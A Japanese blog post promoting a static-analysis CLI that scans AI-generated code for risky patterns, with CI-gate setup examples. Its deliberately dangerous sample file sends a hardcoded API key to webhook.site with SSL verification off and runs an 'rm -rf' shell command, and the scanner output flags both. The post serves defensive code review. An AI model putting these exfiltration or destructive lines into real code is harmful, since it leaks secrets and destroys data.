結論
AIが生成したコードは、ほんの数行で CRITICAL がいくつも並ぶことが珍しくない。直書きの鍵、SSL検証の無効化、シェルへの素通し——「動くサンプル」の顔をして、危険なコードが量産されていく。
この記事では、AI生成コードを繰り返しスキャンして見えてきた危険パターンと、インストール不要・LLM不使用で30秒でチェックできる無料CLIを紹介する。
npx -y github:ayame0328/codeheal-scan ./src
AIが返すコードの「あるある」危険パターン
セキュリティスキャナーを作る過程で、主要なコード生成AI(ChatGPT・Copilot・Claude・Cursor)に何度もコードを書かせては、片っ端からスキャンにかけてきた。頻出したのはこのあたり。
- APIキーやトークンの直書き
- ユーザー入力をほぼそのままシェルコマンドへ
- 「動かないので直して」と言うと返ってくる、SSL検証の無効化
- エラーは握りつぶし、空のcatchがあちこちに
たとえば「このAPIを呼ぶサンプルを書いて」への返答が、こんな数行だったことがある(鍵は伏せている)。
API_KEY = "sk-************************"
resp = requests.post(url, data=payload, verify=False) # 証明書チェックを無効化
2行に、直書きの鍵とSSL検証の無効化が同居している。テストは通る。デモも動く。だからレビューの目をすり抜ける。「動いた」という事実が、危険を見えなくする——これがAI生成コードの一番こわいところだ。
Impact: 危険なのは個々のパターンより「量」。AIは同じ過ちを人間より速く大量に生産する。
なぜ既存ツールだけでは足りないのか
「Snykやsemgrepを使えばいい」と思うかもしれない。実際これらは優秀だ。ただ、基本は人間が書くコードを前提に設計されている。
AI生成コードは別の生態系を持っている。書いた本人(AI)に意図がなく、受け取った人間も中身を読まずにコピペしがちで、もっともらしさが危険なコードほど高い。
だから差別化の軸は「ルールの網羅数」ではなく、AIが実際に量産する出方に重みを置くことだと考えた。具体的には2点。
-
複合リスクへの加点:
外部通信 + 秘密漏洩のように、単体では見逃しやすい組合せにスコアを足す(後述の出力でComposite risks +15がそれ)。 -
的を絞ったキュレーション: 汎用SASTの網羅性とは方向を変え、AI生成で頻出する典型(pipe-to-shell、
webhook.site等への送信、verify=False)に寄せる。
Impact: 「もっともらしいが間違っている」出力は、検査でしか捕まえられない。
無料CLIで30秒チェックする
codeheal-scan は、指定したファイルやディレクトリを14カテゴリ・93ルールでスキャンする静的解析CLI。LLMを使わないので、同じコードには常に同じ結果が返る(再現性100%・API費用ゼロ)。Node.js 18以上で動く。
# 単一ファイル
npx -y github:ayame0328/codeheal-scan app.py
# ディレクトリ再帰
npx -y github:ayame0328/codeheal-scan ./src
たとえば、危険パターンを詰めた app.py(API_KEY はダミー値。このまま貼っても同じ結果になる)。
import os, requests
API_KEY = "sk-EXAMPLE000000000000000000000000"
requests.post("https://webhook.site/abc123", data={"key": API_KEY}, verify=False)
os.system("rm -rf /tmp/cache")
これにかけると、こう出る(CLIは検出した該当行をそのまま表示する。本物の鍵をスキャンする際は、CIログや共有先に出ることに注意)。
=== CodeHeal Scanner ===
app.py (6 lines)
Risk Score: 134 / rank CRITICAL
Composite risks:
+ External communication + Secret leakage (+15)
Findings (8):
[CRITICAL] 4-1 OpenAI API key
line 3: API_KEY = "sk-EXAMPLE000000000000000000000000"
[HIGH] 4-4 Generic secret pattern
line 3: API_KEY = "sk-EXAMPLE000000000000000000000000"
[CRITICAL] 14-2 Hardcoded credentials in config
line 3: API_KEY = "sk-EXAMPLE000000000000000000000000"
[MEDIUM] 5-2 HTTP library usage
line 4: requests.post("https://webhook.site/abc123", data={"key": API_KEY}, verify=False)
[CRITICAL] 5-3 Webhook / data exfil endpoint
line 4: requests.post("https://webhook.site/abc123", data={"key": API_KEY}, verify=False)
[HIGH] 14-5 Disabled security feature
line 4: requests.post("https://webhook.site/abc123", data={"key": API_KEY}, verify=False)
[CRITICAL] 1-3 Shell command execution
line 5: os.system("rm -rf /tmp/cache")
[CRITICAL] 6-4 Destructive delete
line 5: os.system("rm -rf /tmp/cache")
--- Summary ---
Files: 1 | With findings: 1 | Total findings: 8
Severity: C:5 H:2 M:1 L:0 I:0
Overall: CRITICAL
このファイルから CRITICAL が5件。1行(verify=False の行)だけで「外部通信」と「セキュリティ機能の無効化」の複数ルールに同時に刺さる。さらに、その外部通信(line 4)と、直書きの鍵による秘密漏洩(line 3)が同じファイルに同居するため、外部通信 + 秘密漏洩 の複合で +15 されているのが分かる。
CIに組み込む
終了コードが最悪ランクに対応しているので、CIのゲートに使える。
| 終了コード | ランク |
|---|---|
| 0 | SAFE |
| 1 | CAUTION |
| 2 | DANGEROUS |
| 3 | CRITICAL |
(パス誤りやコードファイル無しは別コード 64/66 で終了する。CIでは「スキャン対象ゼロ=設定ミス」の検知に使える。)
- name: AI code security scan
run: npx -y github:ayame0328/codeheal-scan ./src
# rank >= CAUTION (exit != 0) で job が落ちる
既存リポにいきなり厳格ゲートをかけると赤だらけになりやすい(低信頼の検出が一定数たまると CAUTION 昇格で exit 1 になる仕様)。段階導入がおすすめ。
# まずは可視化だけ(落とさない)
- run: npx -y github:ayame0328/codeheal-scan ./src || true
# 慣れたら DANGEROUS 以上でだけ落とす(CAUTION は通す)
- run: npx -y github:ayame0328/codeheal-scan ./src || [ $? -lt 2 ]
Impact: LLM不使用=再現性100%なので、CIゲートにもコンプラ用途にも使える。
まとめ
| 項目 | 内容 |
|---|---|
| 課題 | AI生成コードは数行でCRITICALが並ぶ。量とそれらしさが危険 |
| 既存ツールの限界 | 人間が書く前提。AI特有の出方に重みを置いていない |
| 解決 |
npx -y github:ayame0328/codeheal-scan で14カテゴリ・93ルールの静的チェック |
| 特徴 | LLM不使用・再現性100%・API費用0・複合リスク加点・CIゲート可 |
AIにコードを任せる量が増えるほど、機械的にチェックする手段の価値は上がる。まずは自分のリポジトリを一度かけてみてほしい。思っていたより赤いはずだ。
リンク
-
無料CLI(インストール不要・Node 18+・npmアカウント不要):
npx -y github:ayame0328/codeheal-scan ./src
GitHub: https://github.com/ayame0328/codeheal-scan (初回はクローン確認にy。-yで省略) - AI生成コードの脆弱性14カテゴリを「なぜ危険か→どう直すか」で解説した実践ガイド(第1章は無料・近日公開)。公開通知はプロフィールから:
https://zenn.dev/numarn?utm_source=qiita&utm_medium=article&utm_campaign=ai-code-cli
フィードバック歓迎です。「自分のコードでこれが出た」みたいな報告も大歓迎。